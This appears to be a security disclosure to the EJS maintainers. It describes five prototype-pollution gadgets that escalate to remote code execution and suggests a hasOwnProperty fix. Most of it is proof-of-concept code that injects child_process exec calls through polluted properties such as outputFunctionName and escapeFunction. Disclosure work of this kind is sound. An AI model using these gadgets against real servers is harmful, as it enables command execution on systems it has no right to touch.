vulnerable undefined property lookup that escalating prototype pollution to remote code execution

[jackfromeast]

Hello,

I've identified several prototype pollution gadgets within the EJS template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities.

Root Cause

The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.

Some vulnerable coding patterns are as follows.

if(obj.prop){ //... }
var x = obj.prop || ''

Impact

If the application server is using the ejs as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the ejs template engine to escalate the prototype pollution to remote code execution.

Proof of Concept

Below, I present a Proof of Concept (PoC) to demonstrate the identified gadgets within the EJS template engine. The first gadget has been previously discovered by others, while the remaining gadgets are my own findings.

The EJS version currently in use is ^2.7.4.

Gadget 1

// could be any template
const templatePath = path.join(__dirname, 'views', 'login_register.ejs');

// achieve through prototype pollution
Object.prototype.outputFunctionName = "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"sleep 10\"');var __tmp2"

var result = ejs.renderFile(templatePath, {
    title:" storeHtml | logins ",
    buttonHintF:"login",
    buttonHintS:"No account? Register now",
    hint:"login",
    next:"/register"
})

Gadget 2

Object.prototype.client = true
Object.prototype.escape = "false;\nprocess.mainModule.require('child_process').execSync(\`sleep 10\`)\n"

// Define the template string
const templateString = `
  <h1>Hello, <%= name %>!</h1>
  <p>Today is <%= date %>.</p>
`;

// Compile the template string into a template function
const templateFunction = ejs.compile(templateString);

// Define the data object
const data = {
  name: 'John Doe',
  date: new Date().toLocaleDateString()
};

// Render the template with the data object
const output = templateFunction(data);

Gadget 3

const templatePath = path.join(__dirname, 'views', 'login_register.ejs');

Object.prototype.client = true
Object.prototype.escapeFunction = "false;\nprocess.mainModule.require('child_process').execSync(\`sleep 10\`)\n"

var result = ejs.renderFile(templatePath, {
    title:" storeHtml | logins ",
    buttonHintF:"login",
    buttonHintS:"No account? Register now",
    hint:"login",
    next:"/register"
})

Gadget 4

const templatePath = path.join(__dirname, 'views', 'login_register.ejs');

Object.prototype.destructuredLocals = ["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"sleep 10\"');//"]

var result = ejs.renderFile(templatePath, {
    title:" storeHtml | logins ",
    buttonHintF:"login",
    buttonHintS:"No account? Register now",
    hint:"login",
    next:"/register"
})

Gadget 5

const templatePath = path.join(__dirname, 'views', 'login_register.ejs');

Object.prototype.localsName = "it=process.mainModule.require('child_process').execSync(\`sleep 10\`)"

var result = ejs.renderFile(templatePath, {
    title:" storeHtml | logins ",
    buttonHintF:"login",
    buttonHintS:"No account? Register now",
    hint:"login",
    next:"/register"
})

Suggested Fix

To mitigate this issue, I recommend constraining the property lookup to the current object variable. This can be achieved by utilizing the hasOwnProperty method, particularly when there's no requirement to traverse through the prototype chain.

if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''

By adopting this practice, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.

Finally, in light of our findings, we kindly request your confirmation of these potential issues. We would greatly appreciate any steps taken to address them and we stand ready to submit a pull request on the GitHub repository to help improve the security for all users of your excellent work.